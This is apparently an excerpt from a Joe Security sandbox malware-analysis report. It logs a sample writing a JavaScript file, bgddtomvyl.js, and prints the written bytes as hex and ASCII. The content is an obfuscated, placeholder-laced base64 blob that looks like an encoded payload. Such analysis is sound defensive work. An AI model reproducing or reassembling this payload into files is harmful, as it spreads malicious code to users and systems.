56 6c 55 64 6b 64 6a 
63 30 38 76 4b 31 4e 
6d 59 6e 68 6b 64 6c 
52 32 4d 57 64 36 55 
47 78 5a 4d 47 30 32 
52 6d 35 57 53 69 39 
5a 62 55 49 79 64 6d 
5a 51 63 6c 67 7a 61 
55 39 4e 63 7b 30 7d 
6c 46 55 57 39 56 5a 
33 6c 4c 63 31 59 33 
65 6d 74 53 53 79 39 
59 62 48 6c 46 5a 30 
64 6d 4b 31 7b 31 7d 
61 65 6d 5a 48 62 31 
64 48 53 57 31 43 61 
55 4e 56 4f 47 6c 35 
5a 7b 32 7d 5a 58 56 
45 35 36 63 57 64 53 
61 48 4d 33 52 45 73 
79 61 56 6c 6e 64 6d 
34 76 61 48 52 35 65 
6a 64 4b 4b 32 4e 32 
63 7b 32 7d 5a 6d 59 
55 4a 59 56 55 68 59 
63 30 35 4b 61 56 4a 
35 7b 30 7d 30 52 76 
5a 48 68 5a 62 55 31 
7b 30 7d 64 32 46 6a 
59 56 6f 34 53 7a 46 
6f 56 47 5a 73 53 47 
31 55 56 48 4e 58 62 
6b 31 6d 62 7b 30 7d 
52 58 59 6c 52 7a 64 
57 78 36 53 30 64 6b 
61 46 5a 

a2{1}yRVlUdkdjc08vK1Nm
YnhkdlR2
MWd6UGxZMG02Rm5WS
i9ZbUIydmZQcl
gzaU9Nc{0}lFUW9VZ3lLc1
Y3emtSSy
9YbHlFZ0dmK1{1}aemZHb
1dHSW1CaU
NVOGl5Z{2}ZXVE56cWdS
aHM3REsyaV
lndm4vaHR5ejdKK2N2c{2}
ZmYUJYVU
hYc05KaVJ5{0}0RvZHhZb
U1{0}d2Fj
YVo4SzFoVGZsSG1UVH
NXbk1mb{0}RX
YlRzdWx6S0dkaFZ

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 159 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 64 7b 32 7d 68 52 5a 
31 6c 33 52 47 55 32 
63 6d 78 6b 4c 32 4a 
77 63 47 4e 36 59 7a 
4a 4c 59 33 7b 31 7d 
51 65 45 5a 33 59 6a 
56 5a 56 58 42 77 65 
58 6c 56 5a 55 5a 30 
5a 7a 6c 51 57 6b 56 
6c 61 48 52 57 4f 7b 
30 7d 56 77 57 6e 46 
52 5a 48 6c 69 7b 30 
7d 7b 30 7d 56 56 4c 
7b 30 7d 77 6c 7b 30 
7d 55 38 34 4c 7b 30 
7d 77 6c 53 7a 46 48 
52 7b 30 7d 42 6d 63 
6d 56 7b 32 7d 5a 46 
52 79 5a 6b 6c 5a 56 
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7d 33 52 75 7b 30 7d 
6c 56 59 52 46 46 7a 
59 6a 52 50 4d 46 4e 
30 62 6b 4e 77 56 43 
74 35 4c 32 4a 32 5a 
46 56 7b 32 7d 63 47 
49 31 56 6e 49 74 50 
43 55 31 56 58 68 4f 
7b 30 7d 48 42 56 65 
47 4e 33 52 33 55 74 
50 43 55 7a 63 30 68 
7b 32 7d 59 58 7b 31 
7d 73 53 45 4a 7b 32 
7d 4f 7b 30 7d 49 76 
52 6d 4e 50 52 48 42 
6e 59 30 56 30 7b 30 
7d 56 46 4a 63 45 78 
4c 52 56 68 57 55 7b 
30 7d 46 7b 32 7d 64 
79 30 38 4a 57 52 4b 
4d 57 49 7a 64 56 55 
30 55 30 35 55 59 57 
35 73 57 55 7b 31 7d 
36 7b 30 7d 6b 4a 75 
52 32 52 61 62 48 7b 
31 7d 61 63 55 39 36 
64 32 49 77 57 55 4e 
51 4d 57 30 72 4e 55 
4a 68 61 79 74 6e 4e 
45 31 69 61 6b 7b 31 
7d 4d 65 58 42 4d 57 
6d 56 6a 7b 30 7d 46 
5a 43 51 

QyNHIyOXJLdGc2ZWQzR
nI3RmJ4{0}3
Ru{0}lVYRFFzYjRPMFN0b
kNwVCt5L2
J2ZFV{2}cGI1VnItPCU1V
XhO{0}HBV
eGN3R3UtPCUzc0h{2}YX{
1}sSEJ{2}
O{0}IvRmNPRHBnY0V0{0}
VFJcExLRV
hWU{0}F{2}dy08JWRKMW
IzdVU0U05U
YW5sWU{1}6{0}kJuR2Rab
H{1}acU96
d2IwWUNQMW0rNUJhayt
nNE1iak{1}M
eXBMWmVj{0}FZCQ
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C:\Users\user\bgddtomvyl.js unknown 1024 56 72 52 46 46 73 65 
48 46 69 7b 30 7d 45 
4d 74 50 43 56 30 61 
58 6c 73 52 43 73 34 
61 45 67 33 63 33 45 
31 65 6a 56 46 62 30 
39 78 62 58 4a 47 55 
55 68 6f 51 6c 4e 30 
4d 33 49 79 52 58 6c 
72 52 6c 6b 33 61 56 
42 73 51 6c 4e 61 52 
69 30 38 4a 55 64 46 
4d 58 56 35 61 53 30 
38 4a 56 7b 31 7d 4d 
62 6a 6c 61 7b 30 7d 
6e 64 58 57 7b 30 7d 
45 77 52 58 67 31 64 
55 6c 7b 32 7d 55 7b 
32 7d 4a 5a 4d 6a 4a 
7b 32 7d 64 55 52 51 
5a 7a 6b 32 4c 7b 30 
7d 77 6c 65 55 4e 46 
4e 47 4e 6b 53 6b 31 
6c 55 58 46 43 5a 7b 
30 7d 67 33 7b 30 7d 
6e 42 5a 7b 30 7d 45 
5a 59 57 47 55 77 65 
45 77 78 7b 30 7d 6a 
4d 79 4f 47 46 7b 30 
7d 55 33 4e 32 55 31 
4a 51 7b 30 7d 7b 30 
7d 4a 6e 57 58 4a 4e 
4e 57 52 50 59 6e 6c 
6b 65 6b 6c 4c 61 6e 
4a 71 55 6b 56 50 63 
30 7b 31 7d 56 59 55 
4a 68 55 

VrRFFseHFi{0}EMtPCV0a
XlsRCs4aE
g3c3E1ejVFb09xbXJGUU
hoQlN0M3Iy
RXlrRlk3aVBsQlNaRi08JU
dFMXV5aS
08JV{1}Mbjla{0}ndXW{0}E
wRXg1dU
l{2}U{2}JZMjJ{2}dURQZzk
2L{0}wl
eUNFNGNkSk1lUXFCZ{0}
g3{0}nBZ{0
}EZYWGUweEwx{0}jMyO
GF{0}U3N2U1JQ{0}
{0}JnWXJNNWRPYnlkeklL
anJqUkVPc0{1}VYUJhU
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C:\Users\user\bgddtomvyl.js unknown 1024 4a 33 65 6d 63 74 50 
43 56 4a 4b 79 39 31 
56 45 56 46 64 55 6b 
35 55 45 7b 31 7d 48 
7b 30 7d 45 39 4b 53 
30 4e 68 61 32 7b 31 
7d 7b 32 7d 4d 6b 64 
7b 32 7d 4d 45 6b 77 
5a 30 78 75 7b 30 7d 
6e 56 6a 4b 30 6b 78 
52 47 74 68 55 32 5a 
51 4c 7b 30 7d 77 6c 
4f 45 64 48 63 47 39 
68 56 55 31 49 4f 55 
52 31 4d 57 68 4b 55 
58 56 50 51 32 74 74 
4d 45 4e 5a 64 7a 64 
4a 55 6b 39 4d 53 6d 
46 36 61 48 4a 47 65 
7b 30 7d 4e 77 59 55 
68 4a 65 6c 5a 30 55 
33 4a 45 56 7a 46 71 
64 46 4a 76 4d 55 39 
4f 4b 31 42 69 52 7a 
4e 56 4e 6a 4d 74 50 
43 55 74 50 43 55 79 
4d 55 6c 6b 57 46 7b 
31 7d 4d 52 30 4d 32 
52 47 51 35 4d 56 64 
52 5a 6b 5a 36 56 31 
52 77 7b 30 7d 58 42 
6e 52 7a 6c 7b 32 7d 
55 32 35 6f 5a 6a 46 
7b 32 7d 55 58 7b 31 
7d 31 65 55 52 4b 56 
7b 32 7d 4d 30 61 46 
51 35 64 

J3emctPCVJKy91VEVFdU
k5UE{1}H{0
}E9KS0Nha2{1}
{2}Mkd{2}MEkwZ0xu
{0}nVjK0kxRGthU2ZQL{0}
wlOEdHcG
9hVU1IOUR1MWhKUXVP
Q2ttMENZdzdJ
Uk9MSmF6aHJGe{0}NwY
UhJelZ0U3JE
VzFqdFJvMU9OK1BiRzN
VNjMtPCUtPC
UyMUlkWF{1}MR0M2RGQ
5MVdRZkZ6V1
Rw{0}XBnRzl{2}U25oZjF{2}
UX{1}1
eURKV{2}M0aFQ5d
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C:\Users\user\bgddtomvyl.js unknown 1024 7b 30 7d 55 31 46 4f 
48 63 78 51 6a 46 7b 
30 7d 52 57 39 33 65 
6c 7b 31 7d 4c 55 30 
5a 52 4d 58 55 79 63 
6e 4d 32 4f 57 68 46 
7b 30 7d 45 78 6a 62 
56 55 34 53 57 4d 7a 
59 57 67 31 56 6d 74 
43 62 57 6f 34 4f 57 
74 51 4c 7b 30 7d 77 
6c 4e 48 68 4b 4c 7b 
30 7d 77 6c 55 33 46 
34 57 58 42 79 63 7b 
32 7d 5a 33 62 45 74 
32 55 6c 6c 61 52 7b 
32 7d 4e 4f 4d 6c 4a 
59 55 57 68 46 57 6e 
63 34 5a 6a 4e 71 56 
31 5a 4b 53 58 63 31 
55 45 6c 4b 59 6e 64 
31 64 43 74 76 5a 6c 
56 4d 4c 7b 30 7d 77 
6c 5a 33 46 48 57 6e 
42 72 57 7b 32 7d 56 
6d 63 6a 46 57 55 31 
7b 31 7d 72 7b 30 7d 
58 56 5a 63 32 31 4b 
4c 7b 30 7d 77 6c 57 
47 6b 74 50 43 56 76 
59 6a 64 56 61 56 46 
46 52 7a 46 68 56 56 
67 35 5a 57 52 36 62 
79 39 34 4e 58 56 52 
64 45 51 77 56 45 51 
33 7b 30 7d 7b 32 7d 
5a 4b 61 

{0}U1FOHcxQjF{0}RW93el
{1}LU0ZR
MXUycnM2OWhF{0}ExjbV
U4SWMzYWg1
VmtCbWo4OWtQL{0}wlNH
hKL{0}wlU3
F4WXByc{2}Z3bEt2UllaR{
2}NOMlJY
UWhFWnc4ZjNqV1ZKSXc
1UElKYnd1dC
tvZlVML{0}wlZ3FHWnBrW{
2}VmcjFW
U1{1}r{0}XVZc21KL{0}wlW
GktPCVv
YjdVaVFFRzFhVVg5ZWR
6by94NXVRdE
QwVEQ3{0}{2}ZKa
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C:\Users\user\bgddtomvyl.js unknown 1024 67 7a 64 58 5a 7b 30 
7d 55 30 68 35 57 55 
78 7a 4b 32 74 35 61 
43 74 78 5a 58 5a 49 
61 45 52 6f 53 6a 56 
74 62 45 5a 45 4f 55 
31 7a 7b 30 7d 6e 6c 
53 56 46 64 6d 62 46 
52 45 53 6d 39 31 57 
7b 32 7d 46 49 4e 7b 
30 7d 42 36 53 45 51 
7a 52 58 4e 73 63 6c 
6c 6f 57 6b 68 33 7b 
30 7d 43 30 38 4a 57 
74 34 64 6d 52 4f 53 
48 6c 33 4d 45 31 74 
59 6a 4a 49 4d 48 4e 
52 7b 30 7d 7b 32 7d 
5a 34 64 6c 68 30 7b 
30 7d 7b 32 7d 5a 34 
57 46 4e 4d 56 6c 5a 
35 55 6e 46 46 64 33 
7b 31 7d 4a 4f 57 46 
50 63 58 42 6b 62 6d 
6f 31 59 6c 6c 78 7b 
30 7d 79 30 38 4a 53 
30 38 4a 55 74 45 65 
53 39 32 51 6d 31 7b 
32 7d 4d 46 6b 33 62 
33 4a 68 61 58 4d 32 
63 6b 5a 57 65 48 4a 
76 7b 30 7d 6e 4e 45 
52 6d 46 33 53 33 45 
33 4e 33 42 73 7b 30 
7d 31 64 71 56 55 4d 
32 62 45 78 52 56 7a 
4a 32 61 

gzdXZ{0}U0h5WUxzK2t5a
CtxZXZIaE
RoSjVtbEZEOU1z{0}nlSV
FdmbFRESm
91W{2}FIN{0}B6SEQzRXN
sclloWkh3
{0}C08JWt4dmROSHl3ME
1tYjJIMHNR{0}
{2}Z4dlh0{0}
{2}Z4WFNMVlZ5Un
FFd3{1}JOWFPcXBkbmo1
Yllx{0}y08
JS08JUtEeS92Qm1{2}MF
k3b3JhaXM2
ckZWeHJv{0}nNERmF3S3
E3N3Bs{0}1
dqVUM2bExRVzJ2a

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 53 45 6c 6c 55 45 52 
7b 31 7d 55 30 35 6b 
53 48 46 56 4d 7a 52 
72 57 6e 46 4b 52 6b 
4a 59 4b 32 64 52 55 
56 67 78 4e 57 6c 49 
63 45 67 33 4f 45 5a 
76 61 47 68 4a 4d 6c 
45 35 52 6c 4a 73 62 
7a 68 68 4b 31 4a 6b 
63 46 41 79 59 6a 6b 
78 7b 30 7d 31 64 72 
56 53 73 79 56 53 39 
51 53 47 6c 34 64 6d 
45 32 5a 30 52 51 4b 
33 46 74 7b 30 7d 7b 
32 7d 56 69 63 55 6c 
45 4e 33 49 32 53 7b 
32 7d 46 52 4e 47 4e 
6c 59 7a 46 7a 65 6a 
56 4b 62 56 5a 59 7b 
30 7d 56 46 49 64 31 
68 31 4c 32 55 79 65 
46 56 4d 56 57 52 7b 
30 7d 4c 32 4a 30 4f 
45 30 34 59 6c 45 76 
55 7b 32 7d 6c 72 4e 
6b 31 46 4e 6e 4d 72 
7b 30 7d 30 74 6f 55 
45 68 36 52 46 56 4a 
55 31 5a 7b 30 7d 52 
7b 30 7d 4e 45 4e 32 
74 57 57 53 39 45 56 
33 46 31 53 6a 46 59 
53 47 64 6e 61 32 4e 
4a 56 30 4a 68 55 43 
30 38 4a 

SEllUER{1}U05kSHFVMz
RrWnFKRkJY
K2dRUVgxNWlIcEg3OEZv
aGhJMlE5Rl
JsbzhhK1JkcFAyYjkx{0}1d
rVSsyVS
9QSGl4dmE2Z0RQK3Ft{0
}{2}VicUlE
N3I2S{2}FRNGNlYzFzejV
KbVZY{0}V
FId1h1L2UyeFVMVWR{0}
L2J0OE04Yl
EvU{2}lrNk1FNnMr{0}0toU
Eh6RFVJ
U1Z{0}R{0}NEN2tWWS9E
V3F1SjFYSG
dna2NJV0JhUC08J
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C:\Users\user\bgddtomvyl.js unknown 1024 61 6b 74 61 62 6d 4a 
6b 57 46 45 35 7b 30 
7d 56 56 6b 56 6e 68 
36 62 43 74 4b 64 47 
68 36 59 6a 56 46 7b 
30 7d 32 64 76 4e 31 
4d 35 4e 33 51 72 57 
6c 52 4d 61 7b 30 7d 
68 6f 63 46 68 46 4f 
47 4a 31 5a 32 68 76 
4b 30 4e 45 4d 32 45 
30 64 6b 31 73 65 6c 
64 71 7b 30 7d 55 4e 
33 53 30 52 72 4d 32 
63 34 62 57 56 71 4b 
30 4a 55 63 30 38 77 
7b 30 7d 6c 4e 7b 30 
7d 4d 56 51 78 5a 47 
5a 4b 52 30 68 6b 61 
47 74 7a 59 57 73 31 
62 45 68 52 61 7b 32 
7d 6c 6b 59 7a 4a 35 
4e 31 68 72 57 45 73 
33 61 55 52 77 64 6d 
35 61 64 45 56 75 5a 
45 56 72 4d 45 74 7b 
31 7d 65 6b 78 77 62 
47 67 78 7b 30 7d 48 
42 57 4d 6b 78 4f 51 
32 39 76 53 32 52 6a 
65 6d 4a 6f 55 46 42 
69 64 7b 32 7d 52 6a 
59 56 59 77 55 31 56 
46 53 33 4e 56 4e 55 
77 72 63 48 6c 6d 51 
6b 52 33 61 47 6c 4b 
57 57 45 

aktabmJkWFE5{0}VVkVnh
6bCtKdGh6
YjVF{0}2dvN1M5N3QrWlR
Ma{0}hocF
hFOGJ1Z2hvK0NEM2E0d
k1seldq{0}U
N3S0RrM2c4bWVqK0JUc
08w{0}lN{0}
MVQxZGZKR0hkaGtzYWs
1bEhRa{2}lk
YzJ5N1hrWEs3aURwdm5
adEVuZEVrME
t{1}ekxwbGgx{0}HBWMkx
OQ29vS2Rj
emJoUFBid{2}RjYVYwU1V
FS3NVNUwr
cHlmQkR3aGlKWWE
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C:\Users\user\bgddtomvyl.js unknown 1024 64 53 53 7b 32 7d 52 
4b 63 53 39 33 7b 30 
7d 30 5a 6a 62 6c 4e 
79 55 7a 56 48 62 57 
4e 7b 31 7d 4f 45 39 
5a 63 56 45 30 53 6a 
4e 4e 55 56 4a 46 56 
57 78 7b 32 7d 51 6d 
35 71 52 45 7b 31 7d 
50 4f 45 52 4b 63 47 
78 61 62 6e 42 50 5a 
45 56 58 59 31 64 48 
4c 7b 30 7d 77 6c 4e 
46 68 61 53 47 31 47 
65 6a 6c 34 7b 30 7d 
7a 4a 50 56 32 4d 32 
4e 33 52 36 59 32 64 
4b 59 31 59 7a 52 7b 
30 7d 64 7b 31 7d 4d 
7b 30 7d 68 6f 52 30 
39 59 4e 48 4a 4a 64 
7a 56 34 63 48 7b 31 
7d 36 4e 45 78 68 55 
46 7b 31 7d 68 55 6e 
4a 50 62 55 64 6f 4e 
7b 30 7d 46 61 65 45 
77 34 64 7a 4a 4b 55 
56 46 6c 61 6b 35 69 
63 31 56 49 64 6a 4d 
72 7b 30 7d 6c 46 6f 
5a 32 52 46 4e 6c 52 
6d 7b 30 7d 6a 52 33 
7b 30 7d 6d 78 69 53 
47 68 30 62 6e 64 6f 
52 56 4a 35 5a 6b 51 
76 61 6d 6f 32 4e 6d 
7b 31 7d 

dSS{2}RKcS93{0}0ZjblNyU
zVHbWN{
1}OE9ZcVE0SjNNUVJFV
Wx{2}Qm5qRE
{1}POERKcGxabnBPZEV
XY1dHL{0}wl
NFhaSG1Gejl4{0}zJPV2M
2N3R6Y2dK
Y1YzR{0}d{1}M{0}hoR09Y
NHJJdzV4
cH{1}6NExhUF{1}hUnJPb
UdoN{0}Fa
eEw4dzJKUVFlak5ic1VIdj
Mr{0}lFo
Z2RFNlRm{0}jR3{0}mxiSG
h0bndoRV
J5ZkQvamo2Nm{1}
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C:\Users\user\bgddtomvyl.js unknown 1024 63 7b 32 7d 68 7b 30 
7d 5a 32 68 5a 4e 48 
4a 69 59 79 74 78 7b 
30 7d 6c 5a 55 57 46 
51 78 4d 58 6c 79 4d 
6e 4e 43 7b 30 7d 33 
51 31 5a 6b 6c 35 7b 
30 7d 6b 63 74 50 43 
56 33 4c 7b 30 7d 77 
6c 62 48 4e 43 4f 43 
39 78 56 7b 30 7d 64 
43 57 46 4e 45 53 6d 
67 74 50 43 55 32 55 
47 5a 6a 57 57 6f 7a 
62 45 30 74 50 43 55 
77 4b 30 4e 6c 52 57 
63 79 52 6d 4a 4a 52 
6e 4a 6a 4c 7b 30 7d 
77 6c 55 31 56 4e 63 
45 78 50 61 6a 6c 45 
59 33 55 76 53 6d 56 
33 7b 30 7d 6b 5a 5a 
4c 7b 30 7d 77 6c 56 
6a 45 77 57 6c 46 53 
4c 7b 30 7d 77 6c 62 
6a 64 53 4d 46 4e 6a 
65 69 30 38 4a 53 39 
7a 7b 30 7d 48 4a 4e 
61 48 68 79 52 56 56 
61 4e 45 49 78 63 33 
63 31 65 45 56 4d 65 
6c 4d 78 5a 47 52 6b 
57 6d 7b 31 7d 6b 4d 
33 42 4a 63 32 74 32 
56 47 31 6f 65 47 49 
34 5a 55 35 55 4f 56 
55 33 57 

c{2}h{0}Z2hZNHJiYytx{0}lZ
UWFQx
MXlyMnNC{0}3Q1Zkl5{0}k
ctPCV3L{
0}wlbHNCOC9xV{0}dCWF
NESmgtPCU2
UGZjWWozbE0tPCUwK0N
lRWcyRmJJRn
JjL{0}wlU1VNcExPajlEY3
UvSmV3{0
}kZZL{0}wlVjEwWlFSL{0}w
lbjdSMF
Njei08JS9z{0}HJNaHhyRV
VaNEIxc3
c1eEVMelMxZGRkWm{1}k
M3BJc2t2VG
1oeGI4ZU5UOVU3W
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C:\Users\user\bgddtomvyl.js unknown 196 5a 43 56 33 52 48 59 
57 64 31 4e 46 68 72 
7b 30 7d 6c 52 33 53 
6a 5a 76 57 56 56 52 
53 6a 4e 32 59 32 78 
55 56 48 5a 78 4d 7b 
32 7d 46 79 52 6e 4e 
46 65 55 35 52 56 45 
78 6b 59 32 35 31 53 
6e 56 7b 32 7d 4d 56 
41 77 4f 45 64 7b 30 
7d 52 7b 32 7d 4e 52 
63 47 73 74 50 43 56 
4f 4e 6b 59 77 4c 30 
39 79 4d 30 64 4b 4f 
43 30 38 4a 58 4a 4b 
65 6d 45 35 55 45 7b 
31 7d 32 55 56 46 35 
65 46 52 58 65 53 39 
43 53 6c 64 52 52 32 
5a 31 62 47 78 73 4d 
47 4a 7a 56 56 6c 6c 
4c 7b 30 7d 77 6c 59 
56 42 35 63 58 52 76 
63 6d 5a 51 4e 7b 32 
7d 6b 79 61 7b 32 7d 
59 33 62 32 52 6a 56 
47 73 72 52 7a 67 79 

ZCV3RHYWd1NFhr{0}lR3
SjZvWVVRSj
N2Y2xUVHZxM{2}FyRnNF
eU5RVExkY2
51SnV{2}MVAwOEd{0}R{2
}NRcGstPC
VONkYwL09yM0dKOC08J
XJKemE5UE{1
}2UVF5eFRXeS9CSldRR2
Z1bGxsMGJz
VVllL{0}wlYVB5cXRvcmZ
QN{2}kya{
2}Y3b2RjVGsrRzgy
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C:\Users\user\bgddtomvyl.js unknown 1024 59 58 7b 31 7d 69 63 
6d 5a 6d 51 79 74 48 
52 6c 42 6b 4d 47 6c 
35 56 32 56 30 5a 6b 
6c 33 7b 30 7d 45 78 
52 63 47 64 6d 5a 32 
30 35 4d 55 5a 78 56 
32 67 77 7b 30 7d 6d 
78 4b 63 6b 74 75 4e 
31 52 31 59 6c 56 55 
51 6e 56 74 4c 7a 52 
43 55 47 78 30 56 32 
52 7b 31 7d 53 45 4d 
78 59 6a 45 34 64 6c 
46 55 56 56 64 6f 4b 
32 64 49 55 47 64 6d 
64 56 4e 4d 64 57 38 
79 7b 30 7d 32 31 4b 
4e 57 46 45 52 6b 35 
32 4d 6e 4e 4e 64 45 
4a 49 63 7b 32 7d 64 
68 62 6b 78 6b 53 30 
68 71 4d 79 30 38 4a 
56 64 30 4c 79 74 78 
63 57 4e 71 57 45 4a 
45 4c 7a 5a 79 52 53 
74 52 62 31 52 72 4d 
32 55 32 5a 30 55 77 
7b 30 7d 6e 46 68 4e 
45 5a 51 57 45 64 4c 
53 6d 74 43 53 46 56 
6e 51 6e 46 34 5a 6a 
52 58 5a 55 6c 7a 52 
43 39 73 57 48 4a 6d 
4d 6b 4a 79 52 47 68 
56 57 56 49 31 56 6e 
7b 31 7d 

YX{1}icmZmQytHRlBkMGl
5V2V0Zkl3
{0}ExRcGdmZ205MUZxV2
gw{0}mxKck
tuN1R1YlVUQnVtLzRCUG
x0V2R{1}SE
MxYjE4dlFUVVdoK2dIUG
dmdVNMdW8y
{0}21KNWFERk52MnNNd
EJIc{2}dhbk
xkS0hqMy08JVd0LytxcW
NqWEJELzZy
RStRb1RrM2U2Z0Uw{0}nF
hNEZQWEdL
SmtCSFVnQnF4ZjRXZUlz
RC9sWHJmMk
JyRGhVWVI1Vn{1}
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C:\Users\user\bgddtomvyl.js unknown 1024 5a 7b 30 7d 55 69 74 
47 61 6e 42 36 64 47 
55 30 63 43 74 47 64 
45 68 71 53 57 49 72 
56 45 4d 77 7b 30 7d 
47 46 69 53 6d 49 78 
4f 45 4a 61 4c 7b 30 
7d 77 6c 7b 30 7d 6d 
74 4d 4c 7b 30 7d 77 
6c 4e 7a 56 45 4f 7b 
32 7d 4e 7a 7b 30 7d 
6c 52 53 4e 7b 30 7d 
56 31 53 79 30 38 4a 
58 6f 76 63 47 56 71 
64 7b 32 7d 52 6a 62 
32 4e 77 4f 7b 32 7d 
56 33 51 33 7b 31 7d 
79 4b 79 30 38 4a 7b 
30 7d 41 74 50 43 56 
68 4c 7a 68 69 53 6b 
4e 49 52 56 56 6f 61 
57 55 72 7b 30 7d 6a 
64 4d 7b 30 7d 47 64 
59 61 57 73 78 5a 6b 
56 4c 62 31 6c 71 5a 
58 64 57 56 69 74 55 
61 57 39 4a 64 6c 46 
6b 61 33 46 72 65 55 
52 68 52 33 68 43 56 
45 52 55 55 31 4e 68 
65 58 52 52 64 7a 4e 
7b 31 7d 4d 57 52 58 
4e 79 39 76 55 32 35 
6b 63 48 68 4b 64 46 
6c 75 53 79 39 35 55 
47 55 34 7b 30 7d 6b 
4d 72 4d 

Z{0}UitGanB6dGU0cCtGd
EhqSWIrVE
Mw{0}GFiSmIxOEJaL{0}wl
{0}mtML{
0}wlNzVEO{2}Nz{0}lRSN{0
}V1Sy08
JXovcGVqd{2}Rjb2NwO{2}
V3Q3{1}y
Ky08J{0}AtPCVhLzhiSkNI
RVVoaWUr
{0}jdM{0}GdYaWsxZkVLb1
lqZXdWVi
tUaW9JdlFka3FreURhR3h
CVERUU1Nh
eXRRdzN{1}MWRXNy9vU
25kcHhKdFlu
Sy95UGU4{0}kMrM
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C:\Users\user\bgddtomvyl.js unknown 1024 7b 30 7d 79 30 38 4a 
7b 30 7d 64 43 4c 7a 
4a 45 52 47 4e 76 65 
6a 42 4a 61 7b 30 7d 
6c 71 62 7b 32 7d 4a 
51 53 32 7b 31 7d 61 
52 45 6f 32 55 47 78 
4d 5a 55 38 76 55 30 
78 71 51 7a 68 4a 53 
6e 52 59 55 6d 55 74 
50 43 56 53 52 7b 30 
7d 64 32 53 46 4d 79 
56 48 7b 31 7d 6f 4b 
7a 4a 6b 4c 30 30 72 
5a 7b 30 7d 64 57 56 
48 4e 32 4f 7b 32 7d 
51 76 52 6d 7b 31 7d 
57 56 32 35 7b 32 7d 
4e 32 7b 31 7d 4c 55 
32 4e 31 56 6a 6c 55 
4e 53 39 4e 59 6d 4a 
7b 31 7d 5a 47 7b 31 
7d 7b 32 7d 59 6c 67 
78 59 32 4e 59 63 45 
30 35 4e 45 68 4f 4d 
7a 46 6c 63 48 6c 55 
63 6c 4a 55 5a 6e 4d 
72 4c 30 35 75 51 6a 
51 30 63 6c 6f 72 4d 
45 68 68 4f 55 74 4f 
63 45 4a 68 7b 30 7d 
7b 30 7d 4a 48 4e 47 
39 52 61 7a 63 79 52 
56 51 31 55 30 56 68 
59 30 4a 45 4e 7b 32 
7d 56 73 4d 30 34 32 
52 31 52 

{0}y08J{0}dCLzJERGNvej
BJa{0}lq
b{2}JQS2{1}aREo2UGxMZ
U8vU0xqQz
hJSnRYUmUtPCVSR{0}d2
SFMyVH{1}o
KzJkL00rZ{0}dWVHN2O{2}
QvRm{1}W
V25{2}N2{1}LU2N1VjlUNS
9NYmJ{1}ZG{1}
{2}YlgxY2NYcE05NEhOM
zFlcH
lUclJUZnMrL05uQjQ0clor
MEhhOUtOcEJh{0}
{0}JHNG9RazcyRVQ1U0V
hY0JEN{2}VsM042R1R
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C:\Users\user\bgddtomvyl.js unknown 1024 52 32 4c 33 52 5a 65 
6b 59 74 50 43 56 61 
53 48 4e 53 61 31 63 
74 50 43 55 76 56 47 
31 6e 4e 57 64 33 7b 
30 7d 48 6c 7b 32 7d 
5a 6e 4e 53 4b 32 7b 
31 7d 6f 56 30 64 49 
62 33 4a 51 4e 6d 31 
53 7b 30 7d 33 64 6c 
4d 6b 74 35 4d 31 68 
55 4e 46 6c 74 61 6e 
7b 31 7d 7b 30 7d 61 
30 35 7b 30 7d 4e 57 
4e 50 59 7b 30 7d 56 
4c 65 45 56 69 59 31 
4e 43 62 55 56 52 7b 
30 7d 31 52 77 61 6b 
6f 78 56 33 5a 7b 31 
7d 56 45 64 31 5a 47 
5a 7b 31 7d 59 56 51 
74 50 43 56 31 7b 30 
7d 46 46 6d 4e 45 55 
32 57 6a 46 74 57 7b 
32 7d 42 4f 55 46 52 
7b 31 7d 5a 31 5a 33 
65 55 5a 75 4e 33 56 
51 52 30 7b 31 7d 6d 
64 6b 31 32 63 69 74 
58 52 46 42 72 64 31 
63 32 63 6b 5a 47 53 
6b 4a 53 7b 30 7d 43 
73 74 50 43 56 53 4f 
58 7b 31 7d 75 64 45 
52 76 62 47 64 7b 30 
7d 56 6c 64 75 7b 30 
7d 6c 4a 

R2L3RZekYtPCVaSHNSa
1ctPCUvVG1n
NWd3{0}Hl{2}ZnNSK2{1}o
V0dIb3JQ
Nm1S{0}3dlMkt5M1hUNFlt
an{1}{0}
a05{0}NWNPY{0}VLeEViY
1NCbUVR{0
}1RwakoxV3Z{1}VEd1ZGZ
{1}YVQtPC
V1{0}FFmNEU2WjFtW{2}B
OUFR{1}Z1
Z3eUZuN3VQR0{1}mdk12
citXRFBrd1
c2ckZGSkJS{0}CstPCVSO
X{1}udERvbGd{0}Vldu{0}lJ
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C:\Users\user\bgddtomvyl.js unknown 1024 61 30 59 78 4d 53 30 
38 4a 57 6c 53 59 30 
64 35 55 45 63 78 65 
6e 55 33 62 7a 42 4d 
55 6e 46 4b 55 33 46 
43 51 69 39 4a 4d 32 
7b 31 7d 47 59 57 5a 
53 61 6b 4e 75 4e 6d 
6f 33 56 30 30 72 55 
45 59 74 50 43 56 7a 
4c 31 68 4f 63 31 6c 
6c 5a 48 42 68 65 55 
77 7a 65 58 52 7b 30 
7d 5a 69 30 38 4a 56 
6b 76 52 6d 68 5a 63 
56 7b 31 7d 6d 62 56 
52 7b 32 7d 52 33 7b 
31 7d 36 4e 43 30 38 
4a 56 52 47 64 6b 52 
79 52 32 74 57 4e 6b 
7b 31 7d 77 4c 30 6c 
36 57 43 74 56 55 46 
68 30 62 58 51 30 61 
7b 32 7d 67 77 57 57 
4e 49 52 46 49 76 5a 
47 39 33 64 6b 6c 78 
62 6c 4e 6c 61 7b 30 
7d 42 5a 56 6d 5a 56 
4e 32 46 59 62 6d 52 
32 55 7b 30 7d 6b 35 
52 55 68 56 51 30 67 
74 50 43 56 32 7b 30 
7d 6c 6f 31 52 30 68 
46 52 47 39 50 56 56 
5a 7a 61 47 4e 6f 4e 
69 39 7b 30 7d 59 7a 
6c 59 51 

a0YxMS08JWlSY0d5UEcx
enU3bzBMUn
FKU3FCQi9JM2{1}GYWZ
SakNuNmo3V0
0rUEYtPCVzL1hOc1llZHB
heUwzeXR{
0}Zi08JVkvRmhZcV{1}mb
VR{2}R3{1
}6NC08JVRGdkRyR2tWNk
{1}wL0l6WC
tVUFh0bXQ0a{2}gwWWNI
RFIvZG93dk
lxblNla{0}BZVmZVN2FYb
mR2U{0}k5
RUhVQ0gtPCV2{0}lo1R0h
FRG9PVVZz
aGNoNi9{0}YzlYQ
